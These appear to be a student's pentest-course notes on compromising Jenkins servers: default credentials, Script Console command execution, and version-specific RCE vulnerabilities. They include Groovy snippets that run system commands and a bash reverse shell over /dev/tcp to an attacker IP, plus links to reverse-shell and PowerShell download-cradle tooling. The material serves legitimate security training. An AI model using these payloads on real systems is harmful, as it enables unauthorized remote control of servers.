---
title: "7. Jenkins"
date: 2025-01-14
draft: false
---

Opensource automation orchestrator 
CI/CD 
Runs in servlet containers like Tomcat 
Assume working on internal pentest and completed webdiscov 
Find jenkins, know it is often installed on windows servers running as all-powerful SYSTEM account 

**Runs on 8080 by default**
**Utilizes port 5000 to attach slave servers**
- communication between masters and salves 
- Jenkins can use local DB, LDAP, Unix user DB, delegate security to another servlet container, or no auth at all. 
- Admins can disallow/allow users from creating accounts. 

Default installation typically uses Jenkins db to store creds and does not allow registration. Fingerprint jenkins quickly using login page. 
Encounter weak/default creds like `admin:admin` or no auth at all. Not uncommon to see no auth. Can sometimes be found externally. 

Log in to the Jenkins instance at http://jenkins.inlanefreight.local:8000. Browse around and submit the version number when you are ready to move on.

---

## Attacking Jenkins 

Assume access to jenkins with weak creds. 

Quick way of achieving cmd execution is via `Script Console`
https://www.jenkins.io/doc/book/managing/script-console/
- Arbitrary groovy scripts within jenkins controller runtime. 
- Abused to run sys cmds - Jenkins often controlled with root / SYSTEM

**Script console**
 `http://jenkins.inlanefreight.local:8000/script`
Groovy similar to python and ruby. Object oriented java-compatible language. 
Groovy source compiled into java bytecode and run on any platform with JRE installed. 

Following snippet used to run `id` 
```groovy
def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
```

Various ways to get RCE 

**Example groovy script against Linux host:** 
```groovy
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

**Metasploit module:** 
https://web.archive.org/web/20230326230234/https://www.rapid7.com/db/modules/exploit/multi/http/jenkins_script_console/

Against windows - attempt to add user + connect to rdp / winRM (or avoid making changes to system, use powershell download cradle with `Invoke-PowerShellTcp.ps1`) https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1 

**Windows based jenkins install cmd execution using this snippet:** 
```groovy
def cmd = "cmd.exe /c dir".execute();
println("${cmd.text}");
```

**Java revshell for cmd exec on windows host**: https://gist.githubusercontent.com/frohoff/fed1ffaab9b9beeb1c76/raw/7cfa97c7dc65e2275abfb378101a505bfb754a95/revsh.groovy
* swap out `localhost` and port for our ip and listener 

---

**Misc vulnerabilties**
Several RCE vulns exist in various versions of jenkins. 
- One recent exploit combines two vulnerabilities, CVE-2018-1999002 and [CVE-2019-1003000](https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266) to achieve pre-authenticated remote code execution

```bash
CVE-2018-1999002 and CVE-2019-1003000 to achieve pre-authenticated remote code execution, bypassing script security sandbox protection during script compilation. Public exploit PoCs exist to exploit a flaw in Jenkins dynamic routing to bypass the Overall / Read ACL and use Groovy to download and execute a malicious JAR file. This flaw allows users with read permissions to bypass sandbox protections and execute code on the Jenkins master server. This exploit works against Jenkins version 2.137.

Another vulnerability exists in Jenkins 2.150.2, which allows users with JOB creation and BUILD privileges to execute code on the system via Node.js. This vulnerability requires authentication, but if anonymous users are enabled, the exploit will succeed because these users have JOB creation and BUILD privileges by default.

As we have seen, gaining access to Jenkins as an administrator can quickly lead to remote code execution. While several working RCE exploits exist for Jenkins, they are version-specific. At the time of writing, the current LTS release of Jenkins is 2.303.1, which fixes the two flaws detailed above. As with any application or system, it is important to harden Jenkins as much as possible since built-in functionality can be easily used to take over the underlying server.
```

